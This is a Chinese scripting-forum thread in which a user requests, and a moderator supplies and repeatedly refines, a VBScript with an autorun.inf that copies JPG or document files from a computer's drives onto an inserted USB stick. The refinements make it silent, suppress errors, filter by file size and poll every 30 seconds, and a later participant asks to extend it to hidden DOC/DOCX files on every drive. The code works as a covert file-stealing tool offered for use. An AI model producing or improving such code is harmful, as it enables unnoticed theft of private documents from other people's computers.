批处理之家 - Powered by Discuz! Board

标题: [问题求助] VBS怎样实现U盘插入电脑上自动复制电脑上的EXCEL文件？ [打印本页]

作者: lyzhangzj 时间: 2011-11-20 17:21 标题: VBS怎样实现U盘插入电脑上自动复制电脑上的EXCEL文件？

按以下代码会出现，只复制U盘里所有XLS格式的文件，怎么修改能搜索电脑的C:,D:,E:,F:上所有XLS格式的文件。多谢。

以下是autorun.inf文件的代码：

[autorun]
open=wscript.exe CopyExcelFile.vbs
shell\open=打开(&O)
shell\open\command=wscript.exe CopyExcelFile.vbs
复制代码

以下是GetExcelFile.vbs文件的代码：

set ws=createobject("wscript.shell")
ws.run "explorer ..\"
ws.run "cmd /c md GetExcelFile",0,true
ws.run "cmd /c for /r C:\ %a in (*.xls) do copy %a ..\GetExcelFile /y",0,true
ws.run "cmd /c for /r D:\ %a in (*.xls) do copy %a ..\GetExcelFile /y",0,true
ws.run "cmd /c for /r E:\ %a in (*.xls) do copy %a ..\GetExcelFile /y",0,true
ws.run "cmd /c for /r F:\ %a in (*.xls) do copy %a ..\GetExcelFile /y",0,true
复制代码

作者: broly 时间: 2011-11-20 17:46

貌似我以前写过了，你在论坛搜索看看

作者: lyzhangzj 时间: 2011-11-20 17:50

回复 2# broly

多谢，我找找看。

作者: broly 时间: 2011-11-21 13:15

看看这个

http://bbs.bathome.net/redirect. ... 3&fromuid=25503

作者: lyzhangzj 时间: 2011-11-21 13:28

高手，还是不行啊，能否再给写一个代码，多谢啦。

作者: broly 时间: 2011-11-21 13:34

你描述都不清楚叫我怎么写？

“U盘插入电脑上自动复制电脑上的EXCEL文件的VBS脚本”

就是复制？从哪里复制到哪里？

作者: lyzhangzj 时间: 2011-11-21 13:37

喔，不好意思，我是想U盘插入电脑之后，自动复制电脑C:\,D:\,E:\所有的JPG格式的文件到U盘里。多谢啦。高手。

作者: Demon 时间: 2011-11-21 14:06

先把你的语文学好

作者: lyzhangzj 时间: 2011-11-21 14:10

呵呵，没有表达清楚。

作者: lyzhangzj 时间: 2011-11-21 16:46

版主，这个代码写起来难度大吗？多谢帮忙啊！

作者: broly 时间: 2011-11-21 18:41

中午没有时间写，现在才有空。

Dim fso,Disks,Disk,JpgPath
Set fso = CreateObject("Scripting.FileSystemObject")
Do
  n = n+1
  Set Disks = fso.Drives 
  For Each Disk In Disks 
    If Disk.IsReady And Disk.DriveType = 1 Then 
      JpgPath = Disk.DriveLetter & ":\"
      U = True
    End if
  Next
  If U = True Then
  	  MsgBox "复制中...请稍后..."
  	  For Each Disk In Disks 
    	If Disk.IsReady And Disk.DriveType = 2 Then 
			CopyJpgs(Disk.DriveLetter & ":\")
    	End if
  	  Next
  	  MsgBox "Succeed."
  Else
    If n=1 Then 
      Msgbox "没有发现U盘或者U盘没有插好!",vbOkOnly,"提示"
    End if
  End If
  WScript.Sleep 30000  '每30秒循环一次
Loop

Sub CopyJpgs(path)
  Dim folder,subfolders,Files
  Set folder = fso.getfolder(path)
  Set subfolders = folder.subfolders
  Set Files = folder.Files
  For Each File In Files
    If fso.GetExtensionName(File.path)="jpg" Then
      fso.CopyFile File.Path,JpgPath,True '设置为True，表示如果文件存在则覆盖
    End if
  Next
  For Each subfolder In subfolders
      CopyJpgs(subfolder.path) '递归查找子目录
  Next
End Sub
复制代码

作者: broly 时间: 2011-11-21 18:41

中午没有时间写，现在才有空。

Dim fso,Disks,Disk,JpgPath
Set fso = CreateObject("Scripting.FileSystemObject")
Do
  n = n+1
  Set Disks = fso.Drives 
  For Each Disk In Disks 
    If Disk.IsReady And Disk.DriveType = 1 Then 
      JpgPath = Disk.DriveLetter & ":\"
      U = True
    End if
  Next
  If U = True Then
  	  MsgBox "复制中...请稍后..."
  	  For Each Disk In Disks 
    	If Disk.IsReady And Disk.DriveType = 2 Then 
			CopyJpgs(Disk.DriveLetter & ":\")
    	End if
  	  Next
  	  MsgBox "Succeed."
  Else
    If n=1 Then 
      Msgbox "没有发现U盘或者U盘没有插好!",vbOkOnly,"提示"
    End if
  End If
  WScript.Sleep 30000  '每30秒循环一次
Loop

Sub CopyJpgs(path)
  Dim folder,subfolders,Files
  Set folder = fso.getfolder(path)
  Set subfolders = folder.subfolders
  Set Files = folder.Files
  For Each File In Files
    If fso.GetExtensionName(File.path)="jpg" Then
      fso.CopyFile File.Path,JpgPath,True '设置为True，表示如果文件存在则覆盖
    End if
  Next
  For Each subfolder In subfolders
      CopyJpgs(subfolder.path) '递归查找子目录
  Next
End Sub
复制代码

作者: lyzhangzj 时间: 2011-11-21 21:14

本帖最后由 lyzhangzj 于 2011-11-21 21:20 编辑

版主真是好人啊，多谢了，这个要在U盘上建立个文件吗？这个是后台自动运行是吧！

作者: broly 时间: 2011-11-21 21:19

不用，直接复制到U盘的

作者: lyzhangzj 时间: 2011-11-21 21:20

直接建立TXT文件，复制到U盘。

作者: lyzhangzj 时间: 2011-11-21 21:22

行不通啊，怎么直接复制到U盘

作者: lyzhangzj 时间: 2011-11-21 21:27

请教版主，怎么用不了啊，是不是我那里弄错了。复制到U盘上是什么格式的。

作者: lyzhangzj 时间: 2011-11-21 21:35

本帖最后由 lyzhangzj 于 2011-11-21 21:42 编辑

提示35行第7个字符有误，麻烦版主再给修改一下吧：
1、请修改插入U盘自动运行；
2、请修改复制到U盘的‘资料’文件夹根目录下；
3、请去除"复制中...请稍后..."窗口和"没有发现U盘或者U盘没有插好!"窗口。
多谢了，版主。。。

作者: broly 时间: 2011-11-22 00:37

回复 15# lyzhangzj

什么意思？你的不是JPG文件吗，怎么又变成TXT了？

作者: broly 时间: 2011-11-22 00:41

回复 18# lyzhangzj

插入U盘自动运行需要在你的U盘加一个autorun.inf的文件。
你先把所有的需求一次性表达清楚了。我没时间跟你一点一点的讲解

作者: lyzhangzj 时间: 2011-11-22 08:44

你好版主，我的意思主要是想：
1、插入U盘，打开之后自动后台运行复制程序（需添加一个autorun.inf的文件）；
2、后台自动复制去除"复制中...请稍后..."窗口和"没有发现U盘或者U盘没有插好!"窗口；
3、能把所需的JPG格式文件复制到U盘“资料”根目录下面；
4、能否可以定义一下，只复制电脑的C盘、D盘、E盘。

多谢版主的帮忙。

作者: broly 时间: 2011-11-22 13:31

Autorun.inf

[autorun]
open=wscript.exe AutoCopy.vbs
shell\open=打开(&O)
shell\open\command=wscript.exe AutoCopy.vbss
复制代码

'保存我为 AutoCopy.vbs
Dim fso,Disks,Disk,JpgPath
Set fso = CreateObject("Scripting.FileSystemObject")
Do
  n = n+1
  Set Disks = fso.Drives 
  For Each Disk In Disks 
    If Disk.IsReady And Disk.DriveType = 1 Then 
      JpgPath = Disk.DriveLetter & ":\资料\"
      U = True
    End if
  Next
  If U = True Then
      CopyJpgs("C:\")
	  CopyJpgs("D:\")
	  CopyJpgs("E:\")
  Else
    If n=1 Then 
      WScript.Quit
    End if
  End If
  WScript.Sleep 30000  '每30秒循环一次
Loop

Sub CopyJpgs(path)
  Dim folder,subfolders,Files
  Set folder = fso.getfolder(path)
  Set subfolders = folder.subfolders
  Set Files = folder.Files
  For Each File In Files
    If fso.GetExtensionName(File.path)="jpg" Then
      fso.CopyFile File.Path,JpgPath,True '设置为True，表示如果文件存在则覆盖
    End if
  Next
  For Each subfolder In subfolders
      CopyJpgs(subfolder.path) '递归查找子目录
  Next
End Sub
复制代码

作者: lyzhangzj 时间: 2011-11-22 14:07

本帖最后由 lyzhangzj 于 2011-11-22 14:11 编辑

版主，运行的时候出现以下情况（我的U盘是I盘）

脚本：I:/AutoCopy.vbs
行：32
字符：7
错误：路径未找到
代码：800A004C
源：vbs运行时错误

还有就是U盘插入打开之后不能自动复制呢，还要重新运行AutoCopy.vbs文件。请版主帮忙解决。

作者: broly 时间: 2011-11-22 14:21

本帖最后由 broly 于 2011-11-22 14:23 编辑

不能自动运行应该是autorun.inf文件被禁用了，这是防止U盘病毒的做法，或者你顶楼那个autorun.inf写错了，我是复制那里的。提示出错，是不是你U盘没有“资料”这个文件夹？

作者: lyzhangzj 时间: 2011-11-22 14:26

本帖最后由 lyzhangzj 于 2011-11-22 14:28 编辑

喔，这样可以了，不过运行的时候还是会出现32行第7个字符，错误：没有权限。还有30行，字符：3，错误：没有权限

作者: broly 时间: 2011-11-22 14:38

我晚点再看看吧。现在用手机上线

作者: lyzhangzj 时间: 2011-11-22 14:49

嗯，好的，多谢了。

作者: broly 时间: 2011-11-22 22:09

回复 25# lyzhangzj

我知道什么原因了。C盘有些文件夹VBS是不能访问的，其他盘的可以访问，所以说提示出错了。那些不够访问权限的，我把它屏蔽了。
至于自动运行的，我还没想到什么好方法。因为自动运行的功能，杀毒软件一向很注意防护的

'保存我为 AutoCopy.vbs
On Error Resume Next
Dim fso,Disks,Disk,JpgPath
Set fso = CreateObject("Scripting.FileSystemObject")
Do
  n = n+1
  Set Disks = fso.Drives 
  For Each Disk In Disks 
    If Disk.IsReady And Disk.DriveType = 1 Then 
      JpgPath = Disk.DriveLetter & ":\资料\"
      U = True
    End if
  Next
  If U = True Then
      CopyJpgs("C:\")
          CopyJpgs("D:\")
          CopyJpgs("E:\")
  Else
    If n=1 Then 
      WScript.Quit
    End if
  End If
  WScript.Sleep 30000  '每30秒循环一次
Loop

Sub CopyJpgs(path)
  Dim folder,subfolders,Files
  Set folder = fso.getfolder(path)
  Set subfolders = folder.subfolders
  Set Files = folder.Files
  For Each File In Files
  	If Err.Number=0 Then 
	    If fso.GetExtensionName(File.path)="jpg" Then
	      fso.CopyFile File.Path,JpgPath,True '设置为True，表示如果文件存在则覆盖
	    End If
	Else
		Err.Clear
	End If
  Next
  For Each subfolder In subfolders
      CopyJpgs(subfolder.path) '递归查找子目录
  Next
End Sub
复制代码

作者: lyzhangzj 时间: 2011-11-22 23:17

这下好了，不过还有个小问题，能否再定义一下只复制大于100KB的JPG图片。多谢了。版主真是厉害。

作者: broly 时间: 2011-11-23 00:04

坑爹啊，就不能一次性把需求说清楚吗？

'保存我为 AutoCopy.vbs
On Error Resume Next
Dim fso,Disks,Disk,JpgPath
Set fso = CreateObject("Scripting.FileSystemObject")
Do
  n = n+1
  Set Disks = fso.Drives 
  For Each Disk In Disks 
    If Disk.IsReady And Disk.DriveType = 1 Then 
      JpgPath = Disk.DriveLetter & ":\资料\"
      U = True
    End if
  Next
  If U = True Then
      CopyJpgs("C:\")
          CopyJpgs("D:\")
          CopyJpgs("E:\")
  Else
    If n=1 Then 
      WScript.Quit
    End if
  End If
  WScript.Sleep 30000  '每30秒循环一次
Loop

Sub CopyJpgs(path)
  Dim folder,subfolders,Files
  Set folder = fso.getfolder(path)
  Set subfolders = folder.subfolders
  Set Files = folder.Files
  For Each File In Files
          If Err.Number=0 Then 
            If fso.GetExtensionName(File.path)="jpg" And _
            	fso.GetFile(File.path).Size>100*1024 Then
              fso.CopyFile File.Path,JpgPath,True '设置为True，表示如果文件存在则覆盖
            End If
        Else
                Err.Clear
        End If
  Next
  For Each subfolder In subfolders
      CopyJpgs(subfolder.path) '递归查找子目录
  Next
End Sub
复制代码

作者: lyzhangzj 时间: 2011-11-23 08:06

多谢版主的帮忙，在此感谢，问题总是有的，不过经过版主的这次修改，已经很完美了。多谢多谢。

作者: longmao 时间: 2012-5-27 13:06

回复 30# broly

大神您好，专门看了这篇帖子才跑来注册问您问题的。

我使用了这个VBS，只不过想复制的类型是DOC的（我只是把代码里的jpg改成了doc，同时取消了文件大小的验证）。使用中出现如下问题：
1.只能复制一部分文件，很大一部分文件木有复制成功，同时系统隐藏的文件似乎木有复制成功。
2.代码执行效率有些低，我把循环改成30毫秒执行一次，还是效率低，差不多5分钟左右完成搜索复制了198个文档。
3.复制完成后一直占有系统资源，循环等待中。

需要的帮助是：

1.希望能够实现复制硬盘中的doc和docx格式的全部文件，包括隐藏了的文件和在系统隐藏文件后缀名称后依然有用。
2.搜索电脑的全部磁盘进行复制，不限于C\D\E\F盘，因为有的人盘符命名比较奇怪，会出来Q盘之类的硬盘盘符。
3.最好能够按照文件修改时间进行复制，优先复制最近修改的文件。
4.搜索复制完成后释放系统资源，但是在搜索复制时可以多用一些系统资源以提高搜索复制效率。

如能解答，感激不尽~谢谢大神~

作者: broly 时间: 2012-5-27 14:29

回复 32# longmao

那个要求跟你这个要求是不一样的，当然不能满足你的需求。
是要监控系统，一插入U盘就自动复制。还是你自己按照需要手动运行，然后自动复制？
需要高效率，可以用批处理。
另外，你重开一帖子吧，我在新的帖子里回复

作者: longmao 时间: 2012-5-27 17:28

本帖最后由 longmao 于 2012-5-27 17:31 编辑

回复 33# broly

谢谢版主大神的回复~
当然最好是监控系统，一插入U盘就自动复制了，但是这种方式是一般来说都是会被杀毒软件直接干掉的。。。
自动复制还是那个autorun.inf 的方法吧。

所以俺想双击运行就成了。

我也用批处理弄过，今天也发了个贴在代码求助里，请大神能移步这个帖子看看~

http://bbs.bathome.net/viewthrea ... p;page=1&extra=

大神如果能用批处理解决，那就不再麻烦大神用VBS了，能高效解决问题好~

作者: ww0000 时间: 2012-12-15 11:42

老师，我电脑里东西很多，我运行了一会想让它停下来，怎么办呢？

作者: ww0000 时间: 2012-12-15 11:43

回复 28# broly

老师，我电脑里东西很多，我运行了一会想让它停下来，怎么办呢？

作者: czjt1234 时间: 2012-12-16 10:37

任务管理器结束wscript.exe进程

作者: tangqingfu 时间: 2013-5-28 07:00

做个标记，谢谢broly版主的分享！

欢迎光临批处理之家 (http://bbs.bathome.net/)